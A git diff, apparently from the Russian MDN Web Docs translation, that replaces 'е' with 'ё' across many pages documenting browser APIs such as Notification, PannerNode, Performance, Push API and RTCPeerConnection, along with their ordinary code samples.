            Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.

            +

            Заменяет дочерний элемент на выбранный. Возвращает заменённый элемент.

            Синтаксис

            replacedNode = parentNode.replaceChild(newChild, oldChild);
              -
            • newChild элемент на который будет заменен oldChild. В случает если он уже есть в DOM, то сначала он будет удален.
              • +
            • newChild элемент на который будет заменён oldChild. В случает если он уже есть в DOM, то сначала он будет удален.
            • oldChild элемент который будет заменен.
              • -
            • replacedNode замененный элемент. Тоже самое что и oldChild.
              • +
            • replacedNode заменённый элемент. Тоже самое что и oldChild.

            Пример

            // <div>
 //  <span id="childSpan">foo bar</span>
 // </div>
 
-// Создаем новый пустой элемент
+// Создаём новый пустой элемент
 // without an ID, any attributes, or any content
 var sp1 = document.createElement("span");
 
 // Присваиваем ему id 'newSpan'
 sp1.setAttribute("id", "newSpan");
 
-// Создаем строку.
+// Создаём строку.
 var sp1_content = document.createTextNode("new replacement span element.");
 
 // Добавляем контент в созданный нами узел
 sp1.appendChild(sp1_content);
 
-// создаем ссылку на существующий элемент который будем заменять
+// создаём ссылку на существующий элемент который будем заменять
 var sp2 = document.getElementById("childSpan");
 var parentDiv = sp2.parentNode;
 
diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html
index 479fae01e3..7ee831edaf 100644
--- a/files/ru/web/api/node/textcontent/index.html
+++ b/files/ru/web/api/node/textcontent/index.html
@@ -33,7 +33,7 @@ element.textContent = "Это просто текст";
 
 
            Отличие от innerText
            
 
-
            element.innerText был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:
            
+
            element.innerText был введён Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:
            
 
 
              
  
            • textContent получает содержимое всех элементов, включая  {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как innerText этого не делает.
              • 
@@ -50,7 +50,7 @@ element.textContent = "Это просто текст";
 
              // Дан следующий фрагмент:
 //   <div id="block">Это — <span>просто</span> текст</div>
 
-// Достаем текстовое содержимое:
+// Достаём текстовое содержимое:
 var text = document.getElementById("block").textContent;
 // В переменной |text| находится: "Это — просто текст".
 
diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html
index 1e3bf20fff..d102e8c70e 100644
--- a/files/ru/web/api/nodelist/index.html
+++ b/files/ru/web/api/nodelist/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/NodeList
 
              
 
              Несмотря на то, что NodeList не является массивом ( Array ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в Array при помощи {{jsxref("Array.from()")}}
              
 
-
              Однако некоторые старые браузеры на данный момент все еще не поддерживают NodeList.forEach() или Array.from(). Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).
              
+
              Однако некоторые старые браузеры на данный момент все ещё не поддерживают NodeList.forEach() или Array.from(). Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).
              
 
              
 
 
              Свойства
              
diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html
index 0ba6b0d4d1..2f520242d4 100644
--- a/files/ru/web/api/notification/index.html
+++ b/files/ru/web/api/notification/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/Notification
 
 
              
  
              {{domxref("Notification.Notification", "Notification()")}}
              
- 
              Создает новый экземпляр объекта Notification.
              
+ 
              Создаёт новый экземпляр объекта Notification.
              
 
              
 
 
              Свойства
              
@@ -79,7 +79,7 @@ translation_of: Web/API/Notification
  
              {{domxref("Notification.title")}} {{readonlyinline}}
              
  
              Заголовок уведомления, указывается в опциях как параметр конструктора.
              
  
              {{domxref("Notification.vibrate")}} {{readonlyinline}}
              
- 
              Задает шаблон вибрации для устройств с вибро.
              
+ 
              Задаёт шаблон вибрации для устройств с вибро.
              
 
 
 
              Не поддерживаемые свойства
              
@@ -106,7 +106,7 @@ translation_of: Web/API/Notification
 
 
              Устаревшие обработчики событий
              
 
-
              Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.
              
+
              Следующие обработчики событий все ещё поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.
              
 
 
              
  
              {{domxref("Notification.onclose")}}
              
@@ -153,21 +153,21 @@ translation_of: Web/API/Notification
 
   // Проверка разрешения на отправку уведомлений
   else if (Notification.permission === "granted") {
-    // Если разрешено, то создаем уведомление
+    // Если разрешено, то создаём уведомление
     var notification = new Notification("Hi there!");
   }
 
   // В противном случае, запрашиваем разрешение
   else if (Notification.permission !== 'denied') {
     Notification.requestPermission(function (permission) {
-      // Если пользователь разрешил, то создаем уведомление
+      // Если пользователь разрешил, то создаём уведомление
       if (permission === "granted") {
         var notification = new Notification("Hi there!");
       }
     });
   }
 
-  // В конечном счете, если пользователь отказался от получения
+  // В конечном счёте, если пользователь отказался от получения
   // уведомлений, то стоит уважать его выбор и не беспокоить его
   // по этому поводу.
 }
              
@@ -180,7 +180,7 @@ translation_of: Web/API/Notification
   console.log(result);
 });
            -

            Затем мы запускаем простую функцию spawnNotification(), когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров options и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.

            +

            Затем мы запускаем простую функцию spawnNotification(), когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создаёт необходимый объект параметров options и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.

            function spawnNotification(body, icon, title) {
   var options = {
diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html
index 5641358a8a..8fdc6b6de0 100644
--- a/files/ru/web/api/notifications_api/index.html
+++ b/files/ru/web/api/notifications_api/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Notifications_API
 ---
 
            {{DefaultAPISidebar("Web Notifications")}}
            
 
-
            Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.
            
+
            Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешёл к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.
            
 
 
            Концепция и использование
            
 
@@ -19,7 +19,7 @@ translation_of: Web/API/Notifications_API
 
            Заметка: Для Firefox 44, разрешения для Notifications и Push объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .
            -

            Затем создается новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.

            +

            Затем создаётся новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.

            {{AvailableInWorkers}}

            diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 7cfb82fdba..3ac365ba5d 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -27,9 +27,9 @@ original_slug: Web/API/Видимость_страницы_API

            Давайте рассмотрим несколько способов использования Page Visibility API.

              -
            • На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку
              • +
            • На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешёл на другую вкладку
            • Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер
              • -
            • Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров
              • +
            • Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчёт количества просмотров
            • Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)
            diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html index c8076f49df..a10a3c1eb4 100644 --- a/files/ru/web/api/pannernode/index.html +++ b/files/ru/web/api/pannernode/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/PannerNode
            PannerNode всегда имеет только один вход и один выход: вход может быть моно или стерео, но выход всегда стерео (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!
            -

            PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала.

            +

            PannerNode задаёт положение в пространстве, скорость распространения и направленность данного сигнала.

            @@ -28,7 +28,7 @@ translation_of: Web/API/PannerNode - + @@ -50,7 +50,7 @@ translation_of: Web/API/PannerNode
            -
            Создает новый экземпляр PannerNode.
            +
            Создаёт новый экземпляр PannerNode.
            @@ -73,7 +73,7 @@ translation_of: Web/API/PannerNode
            {{domxref("PannerNode.coneOuterAngle")}}
            Это значение типа double, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом coneOuterGain.
            {{domxref("PannerNode.coneOuterGain")}}
            -
            Это значение типа double, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом coneOuterAngle. Значение по умолчанию равно 0, то есть, вне конуса звук не будет слышен.
            +
            Это значение типа double, представляющее величину снижения уровня громкости вне конуса, определённого атрибутом coneOuterAngle. Значение по умолчанию равно 0, то есть, вне конуса звук не будет слышен.
            {{domxref("PannerNode.distanceModel")}}
            Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.
            {{domxref("PannerNode.maxDistance")}}
            @@ -83,15 +83,15 @@ translation_of: Web/API/PannerNode
            {{domxref("PannerNode.orientationY")}}
            Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            {{domxref("PannerNode.orientationZ")}}
            -
            Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            +
            Представляет продольную (вперёд - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            {{domxref("PannerNode.panningModel")}}
            -
            Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.
            +
            Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трёхмерном пространстве.
            {{domxref("PannerNode.positionX")}}
            Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            {{domxref("PannerNode.positionY")}}
            Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            {{domxref("PannerNode.positionZ")}}
            -
            Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            +
            Представляет позицию источника звука вдоль оси Z (вперёд и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
            {{domxref("PannerNode.refDistance")}}
            Значение типа double, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.
            {{domxref("PannerNode.rolloffFactor")}}
            @@ -119,7 +119,7 @@ translation_of: Web/API/PannerNode
            {{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}
            Это устаревший элемент API и его работа в дальнейшем не гарантируется.
            - Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.
            + Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключённого потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была чётко оговорена и имела ряд проблем, поэтому была удалена из спецификации.

            Примеры

            diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html index 709a620f85..40017ad44f 100644 --- a/files/ru/web/api/parentnode/prepend/index.html +++ b/files/ru/web/api/parentnode/prepend/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/ParentNode/prepend
            nodesToPrepend
            -
            Один или болле узлов, которые вставляются перед первым дочерним узлом в  ParentNode. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.
            +
            Один или болле узлов, которые вставляются перед первым дочерним узлом в  ParentNode. Каждый узел может быть определён либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.

            Возвращаемое значение

            diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html index b8c2735644..bc721672b6 100644 --- a/files/ru/web/api/performance/index.html +++ b/files/ru/web/api/performance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Performance

            Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.

            -

            Замечание: Этот интерфейс и его составляющие доступны в фоновых потоках выполнения, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации Performance Timeline и User Timing). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.

            +

            Замечание: Этот интерфейс и его составляющие доступны в фоновых потоках выполнения, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса ещё не документированы (подробнее см. разделы документации Performance Timeline и User Timing). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то её нельзя будет увидеть в другом фоновом потоке и наоборот.

            Свойства

            @@ -56,9 +56,9 @@ translation_of: Web/API/Performance
            {{domxref("Performance.getEntriesByType()")}}
            Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, типа записи.
            {{domxref("Performance.mark()")}}
            -
            Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в буфере записей производительности.
            +
            Создаёт {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в буфере записей производительности.
            {{domxref("Performance.measure()")}}
            -
            Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как start mark (начальная метка) и end mark (конечная метка), соответственно).
            +
            Создаёт именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определёнными метками (известных как start mark (начальная метка) и end mark (конечная метка), соответственно).
            {{domxref("Performance.now()")}}
            Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество миллисекунд, прошедших с начала момента отсчета.
            {{domxref("Performance.setResourceTimingBufferSize()")}}
            diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html index bf7359c969..3c0ae8630b 100644 --- a/files/ru/web/api/performance/now/index.html +++ b/files/ru/web/api/performance/now/index.html @@ -33,7 +33,7 @@ var t1 = performance.now(); console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.") -

            В отличие от других временны́х типов данных, доступных в JavaScript (таких как Date.now), метки времени, возвращенные из performance.now(), не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.

            +

            В отличие от других временны́х типов данных, доступных в JavaScript (таких как Date.now), метки времени, возвращённые из performance.now(), не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.

            Также, в противоположность Date.now, значение, возвращаемое из performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени (которое может быть установлено вручную или изменено программами наподобие NTP).

            diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html index f02441f710..380e2b0888 100644 --- a/files/ru/web/api/pointer_lock_api/index.html +++ b/files/ru/web/api/pointer_lock_api/index.html @@ -3,11 +3,11 @@ title: Pointer Lock API slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API --- -

            Pointer lock API(прежнее название Mouse Lock API) обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу в окне браузера, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.

            +

            Pointer lock API(прежнее название Mouse Lock API) обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора в окне. Это даёт вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу в окне браузера, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.

            Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения объектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить  программы для просмотра карт или спутниковой съемки.

            -

            Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.

            +

            Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушёл за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперёд, не боясь покинуть игровое поле и случайно переключится на другое приложение.

            Основные концепции

            diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html index 9f0fb0b77d..e9d175035c 100644 --- a/files/ru/web/api/positionoptions/index.html +++ b/files/ru/web/api/positionoptions/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/PositionOptions
            {{domxref("PositionOptions.enableHighAccuracy")}}
            -
            {{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если true и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если false, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: false.
            +
            {{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточнённый результат. Если true и устройство поддерживает расширенный поиск локации, то он будет осуществлён. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если false, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: false.
            {{domxref("PositionOptions.timeout")}}
            Положительное число в миллисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение Infinity, что значит, getCurrentPosition() будет работать до тех пор пока не определит положение устройства.
            {{domxref("PositionOptions.maximumAge")}}
            diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html index 138ca1fb86..7fbf680b2b 100644 --- a/files/ru/web/api/push_api/index.html +++ b/files/ru/web/api/push_api/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Push_API ---

            {{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}

            -

            Push API дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте

            +

            Push API даёт веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте

            Примечание: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , смотрите здесь.

            @@ -38,10 +38,10 @@ translation_of: Web/API/Push_API

            Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный capability URL: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.

            -

            Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.

            +

            Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счёт. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.

            -

            Примечание: Начиная с Gecko 44, разрешенная квота push-уведомлений для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд. Это обрабатывает случаи, когда получены несколько Push уведомлений подряд и не все генерируют видимое уведомление.

            +

            Примечание: Начиная с Gecko 44, разрешённая квота push-уведомлений для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все ещё должна отображаться в течение трёх секунд. Это обрабатывает случаи, когда получены несколько Push уведомлений подряд и не все генерируют видимое уведомление.

            diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html index a264d593d7..008a7438d8 100644 --- a/files/ru/web/api/pushmanager/subscribe/index.html +++ b/files/ru/web/api/pushmanager/subscribe/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/PushManager/subscribe

            Метод subscribe() интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.

            -

            Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.

            +

            Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создаётся в случае, если сервис-воркер не имеет существующей подписки.

            Синтакс

            @@ -52,7 +52,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest. }, function(error) { // При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения. console.log(error); } diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html index 5108735c19..863ef08fd7 100644 --- a/files/ru/web/api/range/surroundcontents/index.html +++ b/files/ru/web/api/range/surroundcontents/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Range/surroundContents

            Этот метод приблизительно эквивалентен коду newNode.appendChild(range.extractContents()); range.insertNode(newNode). После его работы крайние точки диапазона будут включать в себя newNode.

            -

            Если {{ domxref("Range") }} разделяет любой не текстовый элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.

            +

            Если {{ domxref("Range") }} разделяет любой не текстовый элемент хотя бы одной точкой, произойдёт исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.

            Синтаксис

            diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index 30f50ac1a0..e32d4d23b9 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Response

            Интерфейс Response из Fetch API представляет собой ответ на запрос.

            -

            Вы можете создать новый экземпляр объекта Response используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом Response, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.

            +

            Вы можете создать новый экземпляр объекта Response используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнётесь с объектом Response, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.

            Конструктор

            diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index 227387085a..4cc50b9e0b 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
            -
            Свойство только для чтения canTrickleIceCandidates , объекта {{domxref("RTCPeerConnection")}}, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации  trickled ICE candidates.
            +
            Свойство только для чтения canTrickleIceCandidates , объекта {{domxref("RTCPeerConnection")}}, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удалённый пир принимать кандидаты, согласно спецификации  trickled ICE candidates.
            -

            ICE trickling (ICE просачивание)  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..

            +

            ICE trickling (ICE просачивание)  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удалённому пиру..

            Свойство инициализируется только после вызова метода  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.

            @@ -21,10 +21,10 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates

            Значение

            -

            Тип  {{jsxref("Boolean")}} содержит true , если удаленный пир может принимать просвечивающие ICE кандидаты, и  false , если не может. Если удаленный пир еще не инициализирован, свойство возвращает null.

            +

            Тип  {{jsxref("Boolean")}} содержит true , если удалённый пир может принимать просвечивающие ICE кандидаты, и  false , если не может. Если удалённый пир ещё не инициализирован, свойство возвращает null.

            -

            Примечание : Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся  ICE кандидатов.

            +

            Примечание : Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удалённого пира поддерживать просачивающихся  ICE кандидатов.

            Пример

            diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index b0ddb77eb3..09fa8f0f88 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription ---

            {{WebRTCSidebar}} 

            -

            Только для чтения свойство  RTCPeerConnection.currentLocalDescription возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . 

            +

            Только для чтения свойство  RTCPeerConnection.currentLocalDescription возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удалённым пиром (участником соединения) . 

